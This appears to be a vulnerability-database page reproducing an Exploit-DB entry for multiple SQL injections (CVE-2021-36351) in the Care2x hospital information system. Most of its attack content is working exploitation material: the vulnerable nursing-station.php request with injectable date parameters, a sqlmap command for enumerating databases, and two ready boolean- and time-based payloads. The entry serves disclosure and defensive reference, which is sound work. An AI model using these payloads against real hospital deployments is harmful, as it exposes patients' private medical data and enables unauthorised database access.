Care2x Integrated Hospital Info System 2.7 - Multiple SQL Injections (SQLi)
🗓️ 29 Jul 2021 00:00:00Reported by securityforeveryone.comType
exploitdb🔗 www.exploit-db.com👁 255 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2021-36351 | 6 Aug 202114:15 | – | attackerkb | |
| Care2x2.7 Alpha SQL Injection Vulnerability | 6 Aug 202100:00 | – | cnnvd | |
| CVE-2021-36351 | 6 Aug 202113:08 | – | cve | |
| CVE-2021-36351 | 6 Aug 202113:08 | – | cvelist | |
| EUVD-2021-22971 | 7 Oct 202500:30 | – | euvd | |
| CVE-2021-36351 | 6 Aug 202114:15 | – | nvd | |
| CVE-2021-36351 | 6 Aug 202114:15 | – | osv_cve | |
| Sql injection | 6 Aug 202114:15 | – | prion | |
| PT-2021-21246 | 6 Aug 202100:00 | – | ptsecurity | |
| CVE-2021-36351: Improper Neutralization of Special Elements used in an SQL Command | 6 Aug 202100:00 | – | rapid7 |
10
# Exploit Title: Care2x Integrated Hospital Info System 2.7 - 'Multiple' SQL Injection
# Date: 29.07.2021
# Exploit Author: securityforeveryone.com
# Vendor Homepage: https://care2x.org
# Software Link: https://sourceforge.net/projects/care2002/
# Version: =< 2.7 Alpha
# Tested on: Linux/Windows
# Researchers : Security For Everyone Team - https://securityforeveryone.com
DESCRIPTION
In Care2x < 2.7 Alpha, remote attackers can gain access to the database by exploiting a SQL Injection vulnerability via the "pday", "pmonth", "pyear" parameters.
The vulnerability is found in the "pday", "pmonth", "pyear" parameters in GET request sent to page "nursing-station.php".
Example:
/nursing-station.php?sid=sid&lang=en&fwd_nr=&edit=1&retpath=quick&station=123123&ward_nr=1&dept_nr=&pday=[SQL]&pmonth=[SQL]&pyear=[SQL]&checkintern=
if an attacker exploits this vulnerability, attacker may access private data in the database system.
EXPLOITATION
# GET /nursing-station.php?sid=sid&lang=en&fwd_nr=&edit=1&retpath=quick&station=station&ward_nr=1&dept_nr=&pday=[SQL]&pmonth=[SQL]&pyear=[SQL]&checkintern= HTTP/1.1
# Host: Target
Sqlmap command: sqlmap.py -r request.txt --level 5 --risk 3 -p year --random-agent --dbs
Payload1: pyear=2021') RLIKE (SELECT (CASE WHEN (9393=9393) THEN 2021 ELSE 0x28 END)) AND ('LkYl'='LkYl
Payload2: pyear=2021') AND (SELECT 4682 FROM (SELECT(SLEEP(5)))wZGc) AND ('dULg'='dULgData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 27.5
CVSS 3.19.8
EPSS0.04226